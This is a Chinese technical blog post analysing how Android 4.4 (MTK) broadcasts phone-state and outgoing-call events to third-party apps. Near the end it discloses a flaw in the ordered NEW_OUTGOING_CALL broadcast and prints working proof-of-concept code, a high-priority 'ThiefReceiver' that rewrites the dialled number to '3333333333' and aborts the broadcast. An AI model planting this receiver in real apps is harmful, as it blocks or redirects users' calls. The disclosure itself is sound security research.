改换这几种调用方式
public void startActivityAsUser(Intent intent, UserHandle user);
public void sendBroadcastAsUser(Intent intent, UserHandle user);
public ComponentName startServiceAsUser(Intent service, UserHandle user);
public boolean stopServiceAsUser(Intent service, UserHandle user);
UserHandle.ALL
UserHandle.CURRENT
UserHandle.CURRENT_OR_SELF
UserHandle.OWNER
延伸阅读
先看下面代码
private void broadcastCallStateChanged(int state, String incomingNumber) { //... ...省略 //TelephonyManager.ACTION_PHONE_STATE_CHANGED 即"android.intent.action.PHONE_STATE" Intent intent = new Intent(TelephonyManager.ACTION_PHONE_STATE_CHANGED); //PhoneConstants.STATE_KEY 即字符串"state" intent.putExtra(PhoneConstants.STATE_KEY, DefaultPhoneNotifier.convertCallState(state).toString()); //如果incomingNumber不为空则添加到intent的Extra中,对应的key为"incoming_number" if (!TextUtils.isEmpty(incomingNumber)) { intent.putExtra(TelephonyManager.EXTRA_INCOMING_NUMBER, incomingNumber); } //MTK Dual SIM support,对应key为"simId" if (FeatureOption.MTK_GEMINI_SUPPORT) { intent.putExtra(PhoneConstants.GEMINI_SIM_ID_KEY, mySimId); } //发送广播,接收者为所有人,接收者需要有READ_PHONE_STATE权限 mContext.sendBroadcastAsUser(intent, UserHandle.ALL, android.Manifest.permission.READ_PHONE_STATE); }
在Android 4.0之前,并非使用sendBroadcastAsUser,而是使用sendBroadcast(intent, android.Manifest.permission.READ_PHONE_STATE)发起广播通知,两者相比,前者多了一个UserHandle.ALL的参数,该参数系Google在Android中添加用于区分用户组的标志。
在Android 4.2 之后Android引入多用户支持,目前Android平台多用户仅支持平板设备。虽然在Android 4.2 中我们已经可以看到Android多用户支持的影子,但直到Android 4.4 google还是没有正式推出。因为Android 平板和手机共用一套代码,因此这里简单的提一下Android 4.4中多用户所支持的用户组。
Android 4.4 用户分为:UserHandle.ALL、UserHandle.CURRENT、UserHandle.CURRENT_OR_SELF、UserHandle.OWNER四种类型,每种类型的handle不同。详细描述如下:
- /** A user handle to indicate all users on the device */
- //设备上所有用户均可接收到广播
- // handle = -1
- UserHandle.ALL
- /** A user handle to indicate the current user of the device */
- //设备上当前用户可接收到广播
- // handle = -2
- UserHandle.CURRENT
- /** A user handle to indicate that we would like to send to the current
- * user, but if this is calling from a user process then we will send it
- * to the caller's user instead of failing wiht a security exception */
- //handle = -3
- //设备上当前用户或者该应用所属用户可接收到广播
- UserHandle.CURRENT_OR_SELF
- /** A user handle to indicate the primary/owner user of the device */
- // handle = 0
- //设备所有者可接收到广播
- UserHandle.OWNER
这里的广播范围可以排序为:UserHandle.ALL > UserHandle.OWNER > UserHandle.CURRENT_OR_SELF > UserHandle.CURRENT。注意UserHandle.ALL包含了所有用户,而OWNER仅仅是设备持有者(注意guest用户)。
阅读更多:
http://blog.csdn.net/yihongyuelan/article/details/32324335
Android 4.4 Kitkat Phone工作流程浅析(九)__状态通知流程分析
概要
当手机Modem状态改变后会将状态变化信息通知到上层,通过《Android 4.4 Kitkat Phone工作流程浅析(八)__Phone状态分析》和《Android 4.4 Kitkat Phone工作流程浅析(六)__InCallActivity显示更新流程》的分析,我们知道了Phone状态的类型,以及这些状态的上报流程,而本文主要分析Phone状态改变之后是如何通知到三方应用的。
Phone状态对于三方应用来讲主要包括:TelephonyManager.CALL_STATE_IDLE、TelephonyManager.CALL_STATE_RINGING、TelephonyManager.CALL_STATE_OFFHOOK三种。对于三方应用,通常使用两种方法来获知Phone状态的改变即:
①监听Phone状态改变广播;
②使用PhoneStateListener监听Phone状态。PhoneStateListener不仅能监听Phone状态改变,同时还能监听数据连接状态、Phone服务状态等状态改变信息;
两种方法所对应的相关代码如下:
- //1.注册广播监听Phone状态改变
- //1.1 动态注册广播
- public class MainActivity extends Activity {
- private PhoneStateChangedReceiver mPhoneStateChangedReceiver;
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.activity_main);
- //Dynamic register the broadcast
- IntentFilter filter = new IntentFilter();
- //"android.intent.action.PHONE_STATE"
- filter.addAction(TelephonyManager.ACTION_PHONE_STATE_CHANGED);
- //"android.intent.action.NEW_OUTGOING_CALL"
- filter.addAction(Intent.ACTION_NEW_OUTGOING_CALL);
- mPhoneStateChangedReceiver = new PhoneStateChangedReceiver();
- registerReceiver(mPhoneStateChangedReceiver, filter);
- }
- @Override
- protected void onDestroy() {
- //unregister the broadcast when activity destroyed
- unregisterReceiver(mPhoneStateChangedReceiver);
- super.onDestroy();
- }
- //内部类广播
- public static class PhoneStateChangedReceiver extends BroadcastReceiver {
- @Override
- public void onReceive(Context context, Intent intent) {
- //Action is "android.intent.action.PHONE_STATE"
- //or "android.intent.action.NEW_OUTGOING_CALL"
- String action = intent.getAction();
- Log.i("Seven","action is "+action);
- if (Intent.ACTION_NEW_OUTGOING_CALL.equals(action)) {
- //"android.intent.extra.PHONE_NUMBER"
- String outgoingNum = intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER);
- Log.i("Seven", "It's outgoing call. Number is:"+outgoingNum);
- return;
- }
- //State is RINGING/OFFHOOK/IDLE
- String state = intent.getStringExtra("state");
- //Only state is Ringing can get the incoming_number
- String incomingNum = intent.getStringExtra("incoming_number");
- //MTK add for dual SIM support
- String simId = intent.getStringExtra("simId");
- Log.i("Seven", "state is "+state);
- Log.i("Seven", "incomingNum is "+incomingNum);
- Log.i("Seven", "simId is "+simId);
- }
- }
- }
- //1.2 静态注册广播
- //与动态注册的区别主要是需要在AndroidManifest.xml中添加<receiver>标签
- <receiver
- android:name="com.seven.androidphonestatelistenerdemo.MainActivity$PhoneStateChangedReceiver" >
- <intent-filter>
- <action android:name="android.intent.action.PHONE_STATE" />
- <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
- </intent-filter>
- </receiver>
- //注意:无论是静态还是动态注册均需要添加相应的权限
- <uses-permission android:name="android.permission.READ_PHONE_STATE" />
- <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
- 2.使用PhoneStateListener监听Phone状态改变
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.activity_main);
- //TELEPHONY_SERVICE equals "phone"
- TelephonyManager mTelephonyManager = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);
- mTelephonyManager.listen(new PhoneStateListener(){
- @Override
- public void onCallStateChanged(int state, String incomingNumber) {
- switch (state) {
- case TelephonyManager.CALL_STATE_IDLE:
- Log.i("Seven","Call state is IDLE");
- break;
- case TelephonyManager.CALL_STATE_RINGING:
- Log.i("Seven","Call state is RINGING");
- break;
- case TelephonyManager.CALL_STATE_OFFHOOK:
- Log.i("Seven","Call state is OFFHOOK");
- break;
- default:
- break;
- }
- super.onCallStateChanged(state, incomingNumber);
- }
- }, PhoneStateListener.LISTEN_CALL_STATE);
- }
以上两种方法均可实现监听Phone状态的改变,通过广播的方式可以监听"去电状态"和"Phone状态"改变,而如果通过PhoneStateListener则只能监听Phone状态改变。这里我们先以MT流程为例,从代码的执行流程上分析Phone状态改变后是如何通知到三方应用的,后文也会顺带分析去电广播的发起流程。
通过前面文章的分析,我们知道Phone状态的改变是Modem发起的,之后通过framework、TeleService并最终通过InCallUI表现到界面上,整个流程如图1:
通过图1可以知道,所有的状态都是从Modem发起并经过Telephony Framework处理之后再向上传递的,也是正是在Telephony Framework中,系统将Phone相关状态告知给了三方应用。
状态通知发起流程
当Phone状态改变之后,RILJ将相关信息反馈到GsmCallTracker的handleCallProgressInfo()方法中 (AOSP是handlePollCalls) 进行相关的处理。在该方法中会进行Phone状态的转换,在上一篇文章《Android 4.4 Kitkat Phone工作流程浅析(八)__Phone状态分析》中我们有详细分析,这里不再详细解释。
在handleCallProgressInfo()的updatePhoneState()方法中进行Call.State(Internal)和PhoneConstants.State转换时,有如下代码:
- private void updatePhoneState() {
- //... ...省略
- if (mState != oldState) {
- mPhone.notifyPhoneStateChanged();
- }
- }
- void notifyPhoneStateChanged() {
- //... ...省略
- mNotifier.notifyPhoneState(this);
- }
- public void notifyPhoneState(Phone sender) {
- Call ringingCall = sender.getRingingCall();
- String incomingNumber = "";
- if (ringingCall != null && ringingCall.getEarliestConnection() != null){
- //如果当前正在响铃,则获取来电号码
- incomingNumber = ringingCall.getEarliestConnection().getAddress();
- }
- try {
- //通过conertCallState方法将Phoneconstants.State转换为TelephonyManager.CALL_STATE_XX
- mRegistry.notifyCallState(convertCallState(sender.getState()), incomingNumber);
- } catch (RemoteException ex) {
- // system process is dead
- }
- }
- //这里MTK做了一些修改,原生并没有使用public权限
- public DefaultPhoneNotifier() {
- mRegistry = ITelephonyRegistry.Stub.asInterface(ServiceManager.getService(
- "telephony.registry"));
- }
- public void notifyCallState(int state, String incomingNumber) {
- //检查是否具有相关修改Phone状态的权限
- if (!checkNotifyPermission("notifyCallState()")) {
- return;
- }
- synchronized (mRecords) {
- mCallState = state;
- mCallIncomingNumber = incomingNumber;
- for (Record r : mRecords) {
- if ((r.events & PhoneStateListener.LISTEN_CALL_STATE) != 0) {
- try {
- //回调onCallStateChanged方法
- r.callback.onCallStateChanged(state, incomingNumber);
- } catch (RemoteException ex) {
- mRemoveList.add(r.binder);
- }
- }
- }
- handleRemoveListLocked();
- }
- //发送Phone状态改变的系统广播
- broadcastCallStateChanged(state, incomingNumber);
- }
到这里已经找到了整个Phone状态改变通知发起的地方,分别是这里的onCallStateChanged回调和broadcastCallStateChanged发起广播。整个流程如图2所示:
图 2 三方应用接收Phone状态改变流程
通过前面的分析,可以很清楚的了解Phone状态的通知流程。接下来将从以下三个方面对细节进行展开分析:
1. broadcast广播类型以及其中携带的数据;
2. 关键对象初始化流程,包括mPhone、mNotifier、mRegistry对象的实例化流程;
3. PhoneStateListener监听机制分析,包括Phone状态注册监听原理,以及onCallStateChanged回调执行流程;
Phone状态变更广播
ACTION_PHONE_STATE_CHANGED
前文的例子中有提到,Phone状态改变之后会在TelephonyRegistry中调用broadcallCallStateChanged()方法将相关状态广播出去,关键代码如下:
- private void broadcastCallStateChanged(int state, String incomingNumber) {
- //... ...省略
- //TelephonyManager.ACTION_PHONE_STATE_CHANGED 即"android.intent.action.PHONE_STATE"
- Intent intent = new Intent(TelephonyManager.ACTION_PHONE_STATE_CHANGED);
- //PhoneConstants.STATE_KEY 即字符串"state"
- intent.putExtra(PhoneConstants.STATE_KEY, DefaultPhoneNotifier.convertCallState(state).toString());
- //如果incomingNumber不为空则添加到intent的Extra中,对应的key为"incoming_number"
- if (!TextUtils.isEmpty(incomingNumber)) {
- intent.putExtra(TelephonyManager.EXTRA_INCOMING_NUMBER, incomingNumber);
- }
- //MTK Dual SIM support,对应key为"simId"
- if (FeatureOption.MTK_GEMINI_SUPPORT) {
- intent.putExtra(PhoneConstants.GEMINI_SIM_ID_KEY, mySimId);
- }
- //发送广播,接收者为所有人,接收者需要有READ_PHONE_STATE权限
- mContext.sendBroadcastAsUser(intent, UserHandle.ALL,
- android.Manifest.permission.READ_PHONE_STATE);
- }
在Android 4.0之前,并非使用sendBroadcastAsUser,而是使用sendBroadcast(intent, android.Manifest.permission.READ_PHONE_STATE)发起广播通知,两者相比,前者多了一个UserHandle.ALL的参数,该参数系Google在Android中添加用于区分用户组的标志。
在Android 4.2 之后Android引入多用户支持,目前Android平台多用户仅支持平板设备。虽然在Android 4.2 中我们已经可以看到Android多用户支持的影子,但直到Android 4.4 google还是没有正式推出。因为Android 平板和手机共用一套代码,因此这里简单的提一下Android 4.4中多用户所支持的用户组。
Android 4.4 用户分为:UserHandle.ALL、UserHandle.CURRENT、UserHandle.CURRENT_OR_SELF、UserHandle.OWNER四种类型,每种类型的handle不同。详细描述如下:
- /** A user handle to indicate all users on the device */
- //设备上所有用户均可接收到广播
- // handle = -1
- UserHandle.ALL
- /** A user handle to indicate the current user of the device */
- //设备上当前用户可接收到广播
- // handle = -2
- UserHandle.CURRENT
- /** A user handle to indicate that we would like to send to the current
- * user, but if this is calling from a user process then we will send it
- * to the caller's user instead of failing wiht a security exception */
- //handle = -3
- //设备上当前用户或者该应用所属用户可接收到广播
- UserHandle.CURRENT_OR_SELF
- /** A user handle to indicate the primary/owner user of the device */
- // handle = 0
- //设备所有者可接收到广播
- UserHandle.OWNER
ACTION_NEW_OUTGONG_CALL
通过前文的例子可以看到,除了注册监听PHONE_STATE_CHANGED广播以外,我们还监听了NEW_OUTGOING_CALL的广播。该广播是在主动呼叫时发起的,当用户使用手机拨打电话时系统会发出该广播,也就是说在MO流程发起时会收到以上两种广播信息。
在《Android 4.4 Kitkat Phone工作流程浅析(三)__MO(去电)流程分析》中已经详细分析了MO的发起流程和经过,通过该文的分析可以知道MO的发起点在Dialer中,经过PhoneCommon处理之后交给TeleService,并在这里触发了相应的NEW_OUTGOING_CALL广播。整个流程如图3所示,其中因为PhoneCommon部分省略,详细流程请参阅《Android 4.4 Kitkat Phone工作流程浅析(三)__MO(去电)流程分析》。
图 3 OUT_GOING_CALL广播发起流程
NEW_OUTGOING_CALL广播的发起流程关键代码如下:- public static void sendNewCallBroadcast(Context context, Intent intent, String number,
- boolean callNow, BroadcastReceiver receiver) {
- //ACTION is "android.intent.action.NEW_OUTGOING_CALL"
- Intent broadcastIntent = new Intent(Intent.ACTION_NEW_OUTGOING_CALL);
- if (number != null) {
- //"android.intent.extra.PHONE_NUMBER" 呼叫号码
- broadcastIntent.putExtra(Intent.EXTRA_PHONE_NUMBER, number);
- }
- //将intent中的部分Extras赋值到broadcastIntent中
- CallGatewayManager.checkAndCopyPhoneProviderExtras(intent, broadcastIntent);
- //"android.phone.extra.ALREADY_CALLED" callNow is false
- broadcastIntent.putExtra(EXTRA_ALREADY_CALLED, callNow);
- //"android.phone.extra.ORIGINAL_URI" URI信息
- broadcastIntent.putExtra(EXTRA_ORIGINAL_URI, intent.getData().toString());
- //该Flag可以是广播优先级更高
- broadcastIntent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
- //这是MTK自己加入一些Extras
- PhoneUtils.checkAndCopyPrivateExtras(intent, broadcastIntent);
- //使用有序广播将拨号状态发送出去
- //需要permission android.Manifest.permission.PROCESS_OUTGOING_CALLS
- //广播对象为UserHandle.OWNER
- //需要PERMISSION为:android.Manifest.permission.PROCESS_OUTGOING_CALLS
- //receiver为该有序广播最后负责接收的对象
- //scheduler表示是否运行在其它线程中,这里为null表示运行在主线程中
- //number初始化数据
- context.sendOrderedBroadcastAsUser(broadcastIntent, UserHandle.OWNER,
- PERMISSION, receiver,
- null, // scheduler
- Activity.RESULT_OK, // initialCode
- number, // initialData: initial value for the result data
- null); // initialExtras
- }
该广播为有序广播,其中指定广播面向的用户组是UserHandle.OWNER,接收广播所需要的权限"android.Manifest.permisson.PROCES_OUTGOING_CALL",参数中的receiver为OutgoingCallReceiver的对象,由它来最后接收并处理该广播,initialData为number。
MTK在该广播的Intent中添加了一些数据,如下:
- public static void checkAndCopyPrivateExtras(final Intent origIntent, Intent newIntent) {
- int slot = origIntent.getIntExtra(Constants.EXTRA_SLOT_ID, -1);
- if (-1 != slot) {
- //卡槽信息,据此可判断卡1卡2
- newIntent.putExtra(Constants.EXTRA_SLOT_ID, slot);
- }
- if (FeatureOption.MTK_VT3G324M_SUPPORT) {
- boolean isVideoCall = origIntent.getBooleanExtra(Constants.EXTRA_IS_VIDEO_CALL, false);
- if (isVideoCall) {
- //如果支持VideoCall则添加相关key
- newIntent.putExtra(Constants.EXTRA_IS_VIDEO_CALL, isVideoCall);
- }
- }
- long simId = origIntent.getLongExtra(Constants.EXTRA_ORIGINAL_SIM_ID, Settings.System.DEFAULT_SIM_NOT_SET);
- if (-1 != simId) {
- //SIM卡Id
- newIntent.putExtra(Constants.EXTRA_ORIGINAL_SIM_ID, simId);
- }
- boolean isIpCall = origIntent.getBooleanExtra(Constants.EXTRA_IS_IP_DIAL, false);
- if (isIpCall) {
- //如果是互联网电话则添加相关的key
- newIntent.putExtra(Constants.EXTRA_IS_IP_DIAL, isIpCall);
- }
- boolean isFollowSimManagement = origIntent.getBooleanExtra(Constants.EXTRA_FOLLOW_SIM_MANAGEMENT, false);
- if (isFollowSimManagement) {
- //是否遵从SIM卡管理
- newIntent.putExtra(Constants.EXTRA_FOLLOW_SIM_MANAGEMENT, isFollowSimManagement);
- }
- }
要特别注意该广播的最后两项参数:String initialData和Bundle initialExtras,前者用于存放String类型的初始化数据,后者可存放Bundle类型的初始化数据。在有序广播的使用过程中,我们可以通过getResultData()获取到有序广播中的initialData值,并且可以使用setResultData(String data)重新设置有序广播的initialData值。同样,使用getResultExtras(boolean makeMap)可以获取initialExtras的Bundle值,其中参数makeMap为true表示,如果之前initialExtras为null则创建一个内容为空的Bundle对象;false则表示返回为null;在处理完Bundle值之后可以通过setResultExtras(Bundle extras)将数据设置回广播中继续传递。
注意:在分析过程中我发现一个google设计上的风险。有序广播发出去之后最后会在 OutGoingCallReceiver.java ( AOSP代码会在OutGoingCallBroadcaster.java )中进行处理,通过“number = getResultData()”将呼叫号码取出。但如果有恶意应用监听了NEW_OUTGOIONG_CALL广播并篡改其中的initialData为恶意号码,最终将会导致用户无法正常拨打电话。
例如使用以下恶意代码:
- <receiver
- android:name="com.example.thief.Thief$ThiefReceiver" >
- //设置接收权限等级为最高
- <intent-filter android:priority="9999999999999999999999999999999" >
- <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
- </intent-filter>
- </receiver>
- public class Thief extends Activity {
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.activity_thief);
- }
- public static class ThiefReceiver extends BroadcastReceiver {
- @Override
- public void onReceive(Context context, Intent intent) {
- setResultData("3333333333");//设置呼叫号码为恶意号码
- abortBroadcast();//截断广播
- }
- }
- }
关键对象初始化流程
在前文分析中我们使用了mPhone、mNotifier、mRegistry等关键对象,从而能够跳转到对应的处理方法中进行处理,但这些关键对象是在何时何地进行初始化的呢?
在《Android 4.4 Kitkat Phone工作流程浅析(三)__MO(去电)流程分析》中已经分析了Phone对象的初始化流程,通过跟踪makeDefaultPhone()的流程可以知道最终是以GSMPhone来完成Phone对象初始化的。在GsmCallTracker中需要查看“mPhone.notifyPhoneStateChanged()”方法,mPhone的初始化工作在GsmCallTracker的构造方法中完成,而mNotifier则在GSMPhone的父类PhoneBase中完成初始化。整个流程如图4:
从图4中可以看到mPhone实际就是GSMPhone的实例,而mNotifier则是DefaultPhoneNotifier的实例,DefaultPhoneNotifier实现了PhoneNotifier接口。对于mRegistry来讲,通过Binder的方式获取到了TelephonyRegistry的实例,而TelephonyRegistry是在SystemServer中完成添加的,关键代码如下:
- TelephonyRegistry telephonyRegistry = null;
- telephonyRegistry = new TelephonyRegistry(context);
- ServiceManager.addService("telephony.registry", telephonyRegistry);
PhoneStateListener监听机制
在前文的例子中,使用PhoneStateListener的方式可以实现Phone状态改变的监听,最后在PhoneStateListener的覆写方法中获知Phone状态的改变。通过TelephonyManager的listen方法实现监听器的添加,如下:
- listen(PhoneStateListener listener, int events)
- private static ITelephonyRegistry sRegistry;
- public TelephonyManager(Context context) {
- //... ...省略
- if (sRegistry == null) {
- sRegistry = ITelephonyRegistry.Stub.asInterface(ServiceManager.getService(
- "telephony.registry"));
- }
- //... ...省略 MTK双卡
- public void listen(PhoneStateListener listener, int events) {
- try {
- Boolean notifyNow = true;
- sRegistry.listen(pkgForDebug, listener.callback, events, notifyNow);
- //... ...省略 MTK双卡
- }
- }
- public void listen(String pkgForDebug, IPhoneStateListener callback, int events,
- boolean notifyNow) {
- //... ...省略
- if (events != 0) {
- //检查权限,某些SATE需要对应的去权限
- checkListenerPermission(events);
- synchronized (mRecords) {
- // register
- Record r = null;
- find_and_add: {
- //callback实际为new IPhoneStateListener.Stub()对象,且stub继承自Binder
- //Binder实现了IBinder接口,asBinder返回stub.this也就是Binder对象
- IBinder b = callback.asBinder();
- final int N = mRecords.size();
- for (int i = 0; i < N; i++) {
- r = mRecords.get(i);
- //如果之前添加过该PhoneStateListener则直接跳转到find_and_add标签末尾
- if (b == r.binder) {
- break find_and_add;
- }
- }
- //如果之前没有添加过该PhoneStateListenerListener,将新Listener的信息
- //添加到mRecords列表中
- r = new Record();
- r.binder = b;
- r.callback = callback;
- r.pkgForDebug = pkgForDebug;
- r.callerUid = callerUid;
- mRecords.add(r);
- }
- //... ...省略
- r.events = events;
- if (notifyNow) {
- //... ...省略
- //注册完成之后,notifyNow为true立刻执行一次
- if ((events & PhoneStateListener.LISTEN_CALL_STATE) != 0) {
- try {
- r.callback.onCallStateChanged(mCallState, mCallIncomingNumber);
- } catch (RemoteException ex) {
- remove(r.binder);
- }
- }
- //... ...省略
- for (Record r : mRecords) {
- if ((r.events & PhoneStateListener.LISTEN_CALL_STATE) != 0) {
- try {
- //回调所有注册了LISTEN_CALL_STATE状态PhoneStateListener的onCallStateChanged方法
- r.callback.onCallStateChanged(state, incomingNumber);
- } catch (RemoteException ex) {
- mRemoveList.add(r.binder);
- }
- }
- }
整个onCallStateChanged方法的回调关键流程:
1. 往监听列表mRecords中添加监听对象;
2. 状态改变即从mRecords中遍历监听对象并发起回调;
r.callback中存放的是new IPhoneStateListener.Stub()的实例,onCallStateChanged方法关键调用如下:
- IPhoneStateListener callback = new IPhoneStateListener.Stub() {
- //... ...省略
- public void onCallStateChanged(int state, String incomingNumber) {
- Message.obtain(mHandler, LISTEN_CALL_STATE, state, 0, incomingNumber).sendToTarget();
- }
- //... ...省略
- };
- Handler mHandler = new Handler() {
- public void handleMessage(Message msg) {
- switch (msg.what) {
- //... ...省略
- case LISTEN_CALL_STATE:
- PhoneStateListener.this.onCallStateChanged(msg.arg1, (String)msg.obj);
- break;
- //... ...省略
- }
- }
- };
总结
全文主要分析了Phone状态改变之后,如何将Phone状态通知到三方应用,具体包含broadcast广播和onCallStateChanged()等方法的回调。同时针对其中的细节之处分成了三个部分进行分析:
1. broadcast广播类型以及其中携带的数据;
广播具体包含两种类型:即TelephonyManager.ACITON_PHONE_STATE_CHANGED和Intent.ACITON_NEW_OUTGOING_CALL;后者仅在MO流程发起时通过TeleService发出,同时由于该广播是有序广播,允许三方监听者获取并修改其initData,从而有可能导致无法发起正常呼叫的问题。如何利用该漏洞,文中已给出相关代码,附件也会包含该测试APK,用户安装该APK并运行一次之后,无论使用何种方式拨打电话均会指向无效号码"3333333333"。
2. 关键对象初始化流程,包括mPhone、mNotifier、mRegistry对象的实例化流程;
这些关键对象大多数跟随Telephony的启动并完成初始化,弄清楚这些关键对象的实例,对整个流程的分析至关重要。
3. PhoneStateListener监听机制分析,包括Phone状态注册监听原理,以及onCallStateChanged回调执行流程;
通过TelephonyManager注册PhoneStateListener,我们可以在其回调函数onCallStateChanged中获知Phone状态的改变信息。Phone状态改变的通知实际的发起者是TelephonyRegistry,其含有两个重要的链表即mRecords和mRemoveList,前者负责保存所有PhoneStateListener的信息,后者记录所有需要删除的PhoneStateListener的binder对象,通俗点讲就是mRecords记录添加的监听者,mRemoveList用于记录删除的监听者。
TelephonyManager是Android暴露给三方应用与Telephony交互的接口即相当于代理,实际获取Phone状态是通过TelephonyRegistry实现的。Telephony实际上提供了多种服务功能,包括TelephonyRegistry、PhoneInterfaceManager、PhoneSubInfo等,这些服务并不直接对三方应用开放,而是通过TelephonyManager这个大管家来管理。
文中涉及原始图片以及恶意劫持呼叫测试代码,免积分下载。
Phone状态监听测试Demo,免积分下载。